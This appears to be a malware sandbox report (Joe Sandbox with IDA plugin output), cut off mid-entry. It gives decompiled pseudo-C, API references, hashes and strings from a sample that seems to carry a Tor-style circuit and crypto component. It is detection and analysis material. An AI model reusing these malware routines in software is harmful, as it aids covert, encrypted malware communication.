0x7ff79baa8f3a
0x7ff79baa8f3e
0x7ff79baa8f41
0x7ff79baa8f45
0x7ff79baa8f49
0x7ff79baa8f4d
0x7ff79baa8f57
0x7ff79baa8f62
0x7ff79baa8f6d
0x7ff79baa8f73
0x7ff79baa8f76
0x7ff79baa8f79
0x7ff79baa8f80
0x7ff79baa8f86
0x7ff79baa8f86
0x7ff79baa8f8d
0x7ff79baa8f97
0x7ff79baa8f9e
0x7ff79baa8fa3
0x7ff79baa8faa
0x7ff79baa8fbc
0x7ff79baa8fc0
0x7ff79baa8fc7
0x7ff79baa8fdb
0x7ff79baa8fdd
0x7ff79baa8fe3
0x7ff79baa900c
0x7ff79baa9018
0x7ff79baa9022
0x7ff79baa9028
0x7ff79baa902e
0x7ff79baa9035
0x7ff79baa903f
0x7ff79baa9049
0x7ff79baa9053
0x7ff79baa9059
0x7ff79baa9072
0x7ff79baa9078
0x7ff79baa907b
0x7ff79baa907f
0x7ff79baa9083
0x7ff79baa909a
0x7ff79baa909f
0x7ff79baa90a7
0x7ff79baa90ab
0x7ff79baa90b2
0x7ff79baa90b7
0x7ff79baa90bb
0x7ff79baa90c1
0x7ff79baa90cb
0x7ff79baa90d4
0x7ff79baa90d9
0x7ff79baa90e2
0x7ff79baa90ed
0x7ff79baa90f4
0x7ff79baa9100
0x7ff79baa9108
0x7ff79baa9114
0x7ff79baa9116
0x7ff79baa911a
0x7ff79baa9128
0x7ff79baa914f

APIs

free.MSVCRT ref: 00007FF79BAA8F57
free.MSVCRT ref: 00007FF79BAA8F62
free.MSVCRT ref: 00007FF79BAA8F6D

Part of subcall function 00007FF79BAA9268: free.MSVCRT ref: 00007FF79BAA9328
Part of subcall function 00007FF79BAA9268: free.MSVCRT ref: 00007FF79BAA9333

memcmp.MSVCRT ref: 00007FF79BAA8FC0

Part of subcall function 00007FF79BAA1720: GetCurrentThreadId.KERNEL32 ref: 00007FF79BAA1743
Part of subcall function 00007FF79BAA1720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF79BAA88EE), ref: 00007FF79BAA1750
Part of subcall function 00007FF79BAA1720: _cwprintf_s_l.LIBCMT ref: 00007FF79BAA1791

free.MSVCRT ref: 00007FF79BAA9028
free.MSVCRT ref: 00007FF79BAA903F
CryptGenRandom.ADVAPI32 ref: 00007FF79BAA9072

Strings

circuit::rendezvous_establish() [circuit: %X, state: establishing], xrefs: 00007FF79BAA9087
circuit::rendezvous_establish() [circuit: %X, state: not established], xrefs: 00007FF79BAA911C
circuit::rendezvous_establish() [circuit: %X, state: established], xrefs: 00007FF79BAA90E4

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CryptCurrentLocalRandomThreadTime_cwprintf_s_lmemcmp
String ID: circuit::rendezvous_establish() [circuit: %X, state: established]$circuit::rendezvous_establish() [circuit: %X, state: establishing]$circuit::rendezvous_establish() [circuit: %X, state: not established]
API String ID: 2405295690-2993231946
Opcode ID: 31c4e711ff320dfd36a592ed7924b5bf61bd0b0373357fe9055dd71bca826ef5
Instruction ID: fd6a69f114db6c80cda03591d8b4a0cf7e7ec967ee9ba144dcfb2b989edaa3c7
Opcode Fuzzy Hash: 31c4e711ff320dfd36a592ed7924b5bf61bd0b0373357fe9055dd71bca826ef5
Instruction Fuzzy Hash: 7D71C722B04B4995EB20EF7AD8045EDB362FB45B98B944236CE2D177A5DF38D205C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAAE7D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00007FF77FF79BAAE7D0(void* __ecx, void* __edx, void* __edi, void* __eflags, long long __rbx, void* __rcx, signed short* __rdx, long long __rsi, long long __r8, void* __r9) {
				void* __rdi;
				void* __rbp;
				void* _t52;
				void* _t59;
				void* _t60;
				void* _t65;
				intOrPtr _t69;
				long long _t74;
				void* _t101;
				void* _t102;
				long long _t105;
				void* _t107;
				void* _t108;
				void* _t110;
				void* _t117;
				void* _t119;
				signed short* _t120;
				void* _t122;
				void* _t123;
				void* _t126;

				_t117 = __r9;
				_t68 = __rbx;
				_t59 = __edi;
				_t65 = _t110;
				 *((long long*)(_t65 + 0x18)) = __r8;
				_t108 = _t65 - 0x5f;
				 *((long long*)(_t108 - 0x39)) = 0xfffffffe;
				 *((long long*)(_t65 + 0x10)) = __rbx;
				 *((long long*)(_t65 + 0x20)) = __rsi;
				_t105 = __r8;
				_t120 = __rdx;
				_t102 = __rcx;
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x29], xmm0");
				 *(_t108 - 0x19) =  *(_t108 - 0x19) & 0x00000000;
				E00007FF77FF79BAA8AC0(__rbx, _t108 - 0x11, __r8, __r8, _t126);
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp+0x17], xmm0");
				 *(_t108 + 0x27) =  *(_t108 + 0x27) & 0x00000000;
				E00007FF77FF79BAA8CBC(_t68, _t108 + 0xf,  *((intOrPtr*)(_t102 + 0x60)) -  *((intOrPtr*)(_t102 + 0x50)) >> 3, __r8, _t108);
				_t69 =  *((intOrPtr*)(_t102 + 0x50));
				goto 0x9baae859;
				E00007FF77FF79BAA89E4(_t69, _t108 + 0xf, _t69, _t105, _t123);
				if (_t69 + 8 !=  *((intOrPtr*)(_t102 + 0x58))) goto 0x9baae849;
				 *((short*)(_t108 + 0x2f)) =  *_t120 & 0x0000ffff;
				E00007FF77FF79BAA83D4(_t69 + 8, 0x9babd020, _t108 - 0x59, _t108 - 0x31, _t119);
				free(_t101);
				free(_t107);
				free(??);
				if ( *((intOrPtr*)(_t108 - 0x49)) -  *((intOrPtr*)(_t108 - 0x51)) >> 3 == 0) goto 0x9baae8fc;
				__imp__CryptGenRandom();
				_t74 =  *((intOrPtr*)( *((intOrPtr*)(_t108 - 0x51)) + (_t108 + 0x6f) * 8));
				 *((long long*)(_t108 + 0x67)) = _t74;
				if (_t74 == 0) goto 0x9baae915;
				E00007FF77FF79BAA89E4(_t74, _t102 + 0x48, _t108 + 0x67, _t105);
				E00007FF77FF79BAAE948(_t60, _t74, _t102, _t74, _t102, _t105, _t122);
				goto 0x9baae915;
				_t52 = E00007FF77FF79BAA1720(2, _t59, 0x9babd010, "No available routers\n", _t117);
				free(??);
				free(??);
				return _t52;
			}

0x7ff79baae7d0
0x7ff79baae7d0
0x7ff79baae7d0
0x7ff79baae7d0
0x7ff79baae7d3
0x7ff79baae7df
0x7ff79baae7ea
0x7ff79baae7f2
0x7ff79baae7f6
0x7ff79baae7fa
0x7ff79baae7fd
0x7ff79baae800
0x7ff79baae803
0x7ff79baae806
0x7ff79baae80b
0x7ff79baae817
0x7ff79baae81d
0x7ff79baae820
0x7ff79baae825
0x7ff79baae83a
0x7ff79baae843
0x7ff79baae847
0x7ff79baae850
0x7ff79baae85c
0x7ff79baae863
0x7ff79baae876
0x7ff79baae880
0x7ff79baae88b
0x7ff79baae896
0x7ff79baae8ab
0x7ff79baae8c2
0x7ff79baae8d5
0x7ff79baae8d9
0x7ff79baae8e0
0x7ff79baae8ea
0x7ff79baae8f5
0x7ff79baae8fa
0x7ff79baae90f
0x7ff79baae919
0x7ff79baae924
0x7ff79baae945

APIs

Part of subcall function 00007FF79BAA8CBC: malloc.MSVCRT(?,?,?,00007FF79BAA8A32), ref: 00007FF79BAA8CFA
Part of subcall function 00007FF79BAA8CBC: memmove.MSVCRT(?,?,?,00007FF79BAA8A32), ref: 00007FF79BAA8D15
Part of subcall function 00007FF79BAA8CBC: free.MSVCRT(?,?,?,00007FF79BAA8A32), ref: 00007FF79BAA8D1E

free.MSVCRT ref: 00007FF79BAAE880
free.MSVCRT ref: 00007FF79BAAE88B
free.MSVCRT ref: 00007FF79BAAE896
CryptGenRandom.ADVAPI32 ref: 00007FF79BAAE8C2
free.MSVCRT ref: 00007FF79BAAE919
free.MSVCRT ref: 00007FF79BAAE924

Part of subcall function 00007FF79BAA1720: GetCurrentThreadId.KERNEL32 ref: 00007FF79BAA1743
Part of subcall function 00007FF79BAA1720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF79BAA88EE), ref: 00007FF79BAA1750
Part of subcall function 00007FF79BAA1720: _cwprintf_s_l.LIBCMT ref: 00007FF79BAA1791

Strings

No available routers, xrefs: 00007FF79BAAE8FC

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CryptCurrentLocalRandomThreadTime_cwprintf_s_lmallocmemmove
String ID: No available routers
API String ID: 980609513-1591776554
Opcode ID: 0f0a78580a79c7700d54c1880900f95f7059be1f64db628759049ed9f918598c
Instruction ID: ecd1a407c4caadda5219884f83a2ecf0b3ea55b76ff47cc21d45e6891bbb7616
Opcode Fuzzy Hash: 0f0a78580a79c7700d54c1880900f95f7059be1f64db628759049ed9f918598c
Instruction Fuzzy Hash: AF417022B04A4995EB20EF7AD8406ECB361FB48B94F844232DE1D536A9DF38E655C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAAB808 Relevance: 12.2, APIs: 8, Instructions: 174encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF79BAAB89F
CryptDestroyKey.ADVAPI32 ref: 00007FF79BAAB976
CryptDestroyKey.ADVAPI32 ref: 00007FF79BAAB9EC

Part of subcall function 00007FF79BAABC04: CryptDecodeObject.CRYPT32 ref: 00007FF79BAABC8D
Part of subcall function 00007FF79BAABC04: CryptImportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79BAAB932), ref: 00007FF79BAABCBC

Part of subcall function 00007FF79BAABCD8: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,00007FF79BAAB961), ref: 00007FF79BAABD36
Part of subcall function 00007FF79BAABCD8: CryptEncrypt.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF79BAAB961), ref: 00007FF79BAABD6D

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: Crypt$Destroy$DecodeEncryptImportObjectmemmove
String ID:
API String ID: 1580205057-0
Opcode ID: 82cf0254f431930a81592bcb3bf4dfaad9530bba9830ec035c59a11aafc51620
Instruction ID: 28cb8b08daf714d05b466256a0eccd859ae60346cf650bdc6247051abb85ebec
Opcode Fuzzy Hash: 82cf0254f431930a81592bcb3bf4dfaad9530bba9830ec035c59a11aafc51620
Instruction Fuzzy Hash: E8911E33A29B84C6EB509F68E4806ADB3B0FB88754F505226EF8D53B68DF38D594C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAAA54C Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 207
COMMONCrypto

Download Yara Rule

C-Code - Quality: 54%

			E00007FF77FF79BAAA54C(void* __ecx, void* __edi, signed long long __rcx, void** __rdx, void* __rsi) {
				void* __rbx;
				void* __rdi;
				void* __r14;
				signed int _t89;
				void* _t100;
				signed int _t104;
				signed int _t106;
				void* _t109;
				void* _t132;
				long long _t138;
				void* _t146;
				signed int _t148;
				long long _t149;
				intOrPtr* _t150;
				signed int* _t161;
				signed long long _t177;
				signed long long _t181;
				signed long long _t183;
				signed long long _t186;
				long long _t189;
				void* _t191;
				signed long long* _t192;
				void* _t195;
				void* _t196;
				void* _t198;
				void* _t199;
				void* _t201;
				void* _t210;
				signed long long _t213;
				intOrPtr* _t214;
				void* _t216;
				signed int _t218;
				signed int* _t219;
				void* _t221;
				void* _t224;
				signed long long _t225;
				intOrPtr* _t226;

				_t194 = __rsi;
				_t121 = __edi;
				 *((intOrPtr*)(_t198 + 0x18)) = r8d;
				 *((long long*)(_t198 + 0x10)) = __rdx;
				_t196 = _t198 - 0x27;
				_t199 = _t198 - 0xe0;
				 *((long long*)(_t196 - 0x31)) = 0xfffffffe;
				_t192 = __rdx;
				_t225 = __rcx;
				r12d = 0;
				 *((intOrPtr*)(_t199 + 0x20)) = r12d;
				if (E00007FF77FF79BAAABB0(__rcx) != 0) goto 0x9baaa5a0;
				 *__rdx = _t210;
				__rdx[2] = _t210;
				 *((intOrPtr*)(_t199 + 0x20)) = 1;
				goto 0x9baaa855;
				_t181 = __rcx;
				E00007FF77FF79BAAB1B4(_t109, _t132, _t199 + 0x28, __rcx);
				_t89 =  *( *((intOrPtr*)(_t199 + 0x28)) + 8);
				 *(_t196 + 0x77) = _t89;
				 *(_t196 - 0x69) = _t89;
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x61], xmm0");
				if ( *((intOrPtr*)(_t199 + 0x30)) == 0) goto 0x9baaa5dd;
				asm("lock inc dword [ebx+0x8]");
				_t148 =  *((intOrPtr*)(_t199 + 0x30));
				_t218 =  *((intOrPtr*)(_t199 + 0x28));
				 *(_t196 - 0x61) = _t218;
				 *(_t196 - 0x59) = _t148;
				_t213 = (_t181 >> 2) + (_t181 >> 2 >> 0x3f);
				_t201 = _t213 + 1;
				_t183 = (_t181 >> 2) + (_t181 >> 2 >> 0x3f);
				if (_t201 - _t183 <= 0) goto 0x9baaa650;
				goto 0x9baaa642;
				if (_t201 - 4 + _t183 * 4 << 2 >= 0) goto 0x9baaa63e;
				E00007FF77FF79BAAB480(_t89 * ( *((intOrPtr*)(_t225 + 0x28)) -  *((intOrPtr*)(_t225 + 0x20))) * ( *((intOrPtr*)(_t225 + 0x30)) -  *((intOrPtr*)(_t225 + 0x20))), _t148, _t225 + 0x18, 4 + _t183 * 4 << 2, __rdx, __rsi, _t221);
				_t186 = _t213 + _t213 * 2;
				_t161 =  *((intOrPtr*)(_t225 + 0x20)) + _t186 * 8;
				 *(_t196 - 0x79) = _t161;
				 *_t161 =  *(_t196 + 0x77);
				_t161[2] = _t218;
				_t161[4] = _t148;
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x61], xmm0");
				_t138 =  *((intOrPtr*)(_t225 + 0x20));
				 *((long long*)(_t225 + 0x28)) = _t138 + (_t186 + 3) * 8;
				_t214 =  *((intOrPtr*)(_t199 + 0x28));
				_t222 =  *((intOrPtr*)(_t225 + 8));
				E00007FF77FF79BAA1720(0, __edi, 0x9babd010, "circuit::create_tap() [or: %s, state: creating]\n",  *((intOrPtr*)( *((intOrPtr*)(_t225 + 8)) + 0x40)));
				 *((intOrPtr*)(_t214 + 0xc)) = 1;
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x49], xmm0");
				 *(_t196 - 0x39) =  *(_t196 - 0x39) & 0x00000000;
				_t226 = _t214 + 0x30;
				if ( *_t226 == 0) goto 0x9baaa6e0;
				E00007FF77FF79BAA1720(2, __edi, 0x9babd010, "circuit::create_tap() extend node isn\'t null\n",  *((intOrPtr*)( *((intOrPtr*)(_t225 + 8)) + 0x40)));
				r8d = 0;
				E00007FF77FF79BAA5604(_t138, _t148, 0x9babd010,  *((intOrPtr*)(_t225 + 8)));
				 *((long long*)(_t196 + 0x7f)) = _t138;
				 *_t226 = _t138;
				 *((long long*)(_t196 + 0x7f)) =  *_t226;
				E00007FF77FF79BAA6D40(_t148, _t196 + 0x7f, _t222);
				_t189 = _t196 - 0x29;
				E00007FF77FF79BAA8D50(_t148,  *_t226, _t189, _t224);
				_t219 =  *((intOrPtr*)(_t138 + 8));
				 *(_t196 - 0x49) = _t219;
				 *((long long*)(_t138 + 8)) = _t189;
				_t149 =  *((intOrPtr*)(_t138 + 0x10));
				 *((long long*)(_t196 - 0x41)) = _t149;
				 *((long long*)(_t138 + 0x10)) = _t189;
				 *(_t196 - 0x39) =  *((intOrPtr*)(_t138 + 0x18));
				 *((long long*)(_t138 + 0x18)) = _t189;
				free(_t221);
				 *(_t196 - 0x79) = _t219;
				 *((long long*)(_t196 - 0x71)) = _t149;
				asm("movaps xmm0, [ebp-0x79]");
				asm("movdqa [ebp-0x79], xmm0");
				r8b = 1;
				E00007FF77FF79BAA45C0( *((intOrPtr*)(_t214 + 8)), _t196 - 9);
				E00007FF77FF79BAAA86C(_t138,  *_t214, _t138);
				free(_t216);
				r8d = 0x7530;
				_t100 = E00007FF77FF79BAA6248(4, _t149, _t214, _t192, __rsi);
				E00007FF77FF79BAA6D40(_t149, _t226, _t138);
				if (_t100 != 0) goto 0x9baaa7b9;
				E00007FF77FF79BAA1720(0, _t121, 0x9babd010, "circuit::create_tap() [or: %s, state: created]\n",  *((intOrPtr*)(_t222 + 0x40)));
				goto 0x9baaa7cb;
				E00007FF77FF79BAA1720(3, _t121, 0x9babd010, "circuit::create_tap() [or: %s, state: destroyed]\n",  *((intOrPtr*)(_t222 + 0x40)));
				free(_t210);
				_t177 =  *((intOrPtr*)(_t199 + 0x28));
				if (( *((intOrPtr*)(_t177 + 0x48)) -  *((intOrPtr*)(_t177 + 0x40)) & 0xfffffff8) != 8) goto 0x9baaa80a;
				 *_t192 = _t177;
				_t192[1] =  *((intOrPtr*)(_t199 + 0x30));
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x28], xmm0");
				 *((intOrPtr*)(_t199 + 0x20)) = 1;
				goto 0x9baaa855;
				_t104 = E00007FF77FF79BAA5038(_t149, _t177, _t138, _t194);
				 *_t192 =  *_t192 & 0x00000000;
				_t192[1] = _t192[1] & 0x00000000;
				 *((intOrPtr*)(_t199 + 0x20)) = 1;
				_t150 =  *((intOrPtr*)(_t199 + 0x30));
				if (_t150 == 0) goto 0x9baaa855;
				asm("lock xadd [ebx+0x8], eax");
				if ((_t104 | 0xffffffff) != 1) goto 0x9baaa855;
				_t106 =  *((intOrPtr*)( *_t150))(_t191, _t146, _t195);
				asm("lock xadd [ebx+0xc], eax");
				if ((_t106 | 0xffffffff) != 1) goto 0x9baaa855;
				return  *((intOrPtr*)( *_t150 + 8))();
			}

0x7ff79baaa54c
0x7ff79baaa54c
0x7ff79baaa54c
0x7ff79baaa551
0x7ff79baaa561
0x7ff79baaa566
0x7ff79baaa56d
0x7ff79baaa575
0x7ff79baaa578
0x7ff79baaa57b
0x7ff79baaa57e
0x7ff79baaa58a
0x7ff79baaa58c
0x7ff79baaa58f
0x7ff79baaa593
0x7ff79baaa59b
0x7ff79baaa5a0
0x7ff79baaa5a8
0x7ff79baaa5b3
0x7ff79baaa5b7
0x7ff79baaa5ba
0x7ff79baaa5bd
0x7ff79baaa5c0
0x7ff79baaa5cd
0x7ff79baaa5cf
0x7ff79baaa5d3
0x7ff79baaa5d8
0x7ff79baaa5dd
0x7ff79baaa5e1
0x7ff79baaa60b
0x7ff79baaa60e
0x7ff79baaa62c
0x7ff79baaa632
0x7ff79baaa63c
0x7ff79baaa645
0x7ff79baaa64b
0x7ff79baaa650
0x7ff79baaa658
0x7ff79baaa65c
0x7ff79baaa663
0x7ff79baaa665
0x7ff79baaa669
0x7ff79baaa66d
0x7ff79baaa670
0x7ff79baaa675
0x7ff79baaa681
0x7ff79baaa685
0x7ff79baaa68a
0x7ff79baaa6a2
0x7ff79baaa6a7
0x7ff79baaa6b0
0x7ff79baaa6b3
0x7ff79baaa6b8
0x7ff79baaa6bd
0x7ff79baaa6c6
0x7ff79baaa6db
0x7ff79baaa6e0
0x7ff79baaa6e6
0x7ff79baaa6eb
0x7ff79baaa6f2
0x7ff79baaa6f5
0x7ff79baaa6fd
0x7ff79baaa702
0x7ff79baaa709
0x7ff79baaa70f
0x7ff79baaa713
0x7ff79baaa719
0x7ff79baaa71d
0x7ff79baaa721
0x7ff79baaa725
0x7ff79baaa72d
0x7ff79baaa731
0x7ff79baaa739
0x7ff79baaa73f
0x7ff79baaa743
0x7ff79baaa747
0x7ff79baaa74b
0x7ff79baaa754
0x7ff79baaa760
0x7ff79baaa76d
0x7ff79baaa777
0x7ff79baaa782
0x7ff79baaa78b
0x7ff79baaa795
0x7ff79baaa7a7
0x7ff79baaa7b2
0x7ff79baaa7b7
0x7ff79baaa7c5
0x7ff79baaa7ce
0x7ff79baaa7d4
0x7ff79baaa7e9
0x7ff79baaa7eb
0x7ff79baaa7f3
0x7ff79baaa7f7
0x7ff79baaa7fa
0x7ff79baaa800
0x7ff79baaa808
0x7ff79baaa80a
0x7ff79baaa80f
0x7ff79baaa813
0x7ff79baaa818
0x7ff79baaa820
0x7ff79baaa828
0x7ff79baaa82d
0x7ff79baaa835
0x7ff79baaa83d
0x7ff79baaa842
0x7ff79baaa84a
0x7ff79baaa86a

Strings

circuit::create_tap() [or: %s, state: creating], xrefs: 00007FF79BAAA692
circuit::create_tap() [or: %s, state: created], xrefs: 00007FF79BAAA7A9
circuit::create_tap() extend node isn't null, xrefs: 00007FF79BAAA6C8
circuit::create_tap() [or: %s, state: destroyed], xrefs: 00007FF79BAAA7B9

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID:
String ID: circuit::create_tap() [or: %s, state: created]$circuit::create_tap() [or: %s, state: creating]$circuit::create_tap() [or: %s, state: destroyed]$circuit::create_tap() extend node isn't null
API String ID: 0-1124358675
Opcode ID: 1d9517234677789bc880abf00173b27ddd0a34314330ea326885d888322c5b1f
Instruction ID: 7807644478cab2d227b05bbf40240765f14ae18818e101c7d8cffdbf00dbe179
Opcode Fuzzy Hash: 1d9517234677789bc880abf00173b27ddd0a34314330ea326885d888322c5b1f
Instruction Fuzzy Hash: 9591E373A14B4986E720EF39D444AADB3A6FB88794F808236DE5D437A4DF38D245C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA79FC Relevance: 10.7, APIs: 7, Instructions: 178encryptionCOMMON

Download Yara Rule

APIs

CryptHashData.ADVAPI32 ref: 00007FF79BAA7B5B
CryptDuplicateHash.ADVAPI32 ref: 00007FF79BAA7B76
CryptDestroyHash.ADVAPI32 ref: 00007FF79BAA7B9C
free.MSVCRT ref: 00007FF79BAA7BB7
memmove.MSVCRT ref: 00007FF79BAA7C05
free.MSVCRT ref: 00007FF79BAA7C62
free.MSVCRT ref: 00007FF79BAA7C6D

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptHashfree$DataDestroyDuplicatememmove
String ID:
API String ID: 2859014979-0
Opcode ID: 4a87dc9e70c951a95d68dfdd8607f2bcb026405cc1eefc5083a608a63cebe0b4
Instruction ID: 230f3dc640c1922f1bd6d271d097578f702d39a58b8dbab3c9c3606d70b3b162
Opcode Fuzzy Hash: 4a87dc9e70c951a95d68dfdd8607f2bcb026405cc1eefc5083a608a63cebe0b4
Instruction Fuzzy Hash: 0B816A72B04B459AEB10DFB9D4405EDB376FB44B98B800126DF1D67AA8DF34E60AC390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAB2D08 Relevance: 10.5, APIs: 7, Instructions: 47COMMON

Download Yara Rule

APIs

BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF79BAB2D20
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF79BAB2D34
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF79BAB2D48
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF79BAB2D5C
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF79BAB2D70
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF79BAB2D84
BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF79BAB2DA0

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: AlgorithmCloseCryptProvider
String ID:
API String ID: 3378198380-0
Opcode ID: dcb4f9709ccf24490bd7983a2e59aba1c072295f75c8ca4aa74adf5da9191020
Instruction ID: 1b551debfc779bdfb9da696ca0e39861ebbf4264e009f7e7f672774dcacb1300
Opcode Fuzzy Hash: dcb4f9709ccf24490bd7983a2e59aba1c072295f75c8ca4aa74adf5da9191020
Instruction Fuzzy Hash: 9111FE14F1A62AA1FE79FB79B890E35A351EFD4F40F888536C96E02174CF3DE6455220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAACAD4 Relevance: 7.7, APIs: 5, Instructions: 160encryptionCOMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00007FF79BAACB44
memmove.MSVCRT ref: 00007FF79BAACB84
memmove.MSVCRT ref: 00007FF79BAACBC7
CryptImportKey.ADVAPI32 ref: 00007FF79BAACC59
CryptDestroyKey.ADVAPI32 ref: 00007FF79BAACCE0

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: memmove$Crypt$DestroyImport
String ID:
API String ID: 4136106364-0
Opcode ID: 9ee93d28625d7484f3da15b5c6f4540b2c67f637f80fc76df1d6b171890f0658
Instruction ID: bf439e710cfd8b0023ac2d9496805b57516ff708bc80454e738320ddf8e5c268
Opcode Fuzzy Hash: 9ee93d28625d7484f3da15b5c6f4540b2c67f637f80fc76df1d6b171890f0658
Instruction Fuzzy Hash: 3B5109A6625BC899DB12DF78D4149ECBB60EB59BC0B598222DBEC17312DB2CD359C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA73F0 Relevance: 7.6, APIs: 5, Instructions: 53encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32 ref: 00007FF79BAA7427
CryptDestroyHash.ADVAPI32 ref: 00007FF79BAA7442
CryptDestroyKey.ADVAPI32 ref: 00007FF79BAA7472
CryptDestroyKey.ADVAPI32 ref: 00007FF79BAA7494
free.MSVCRT ref: 00007FF79BAA74A3

Memory Dump Source

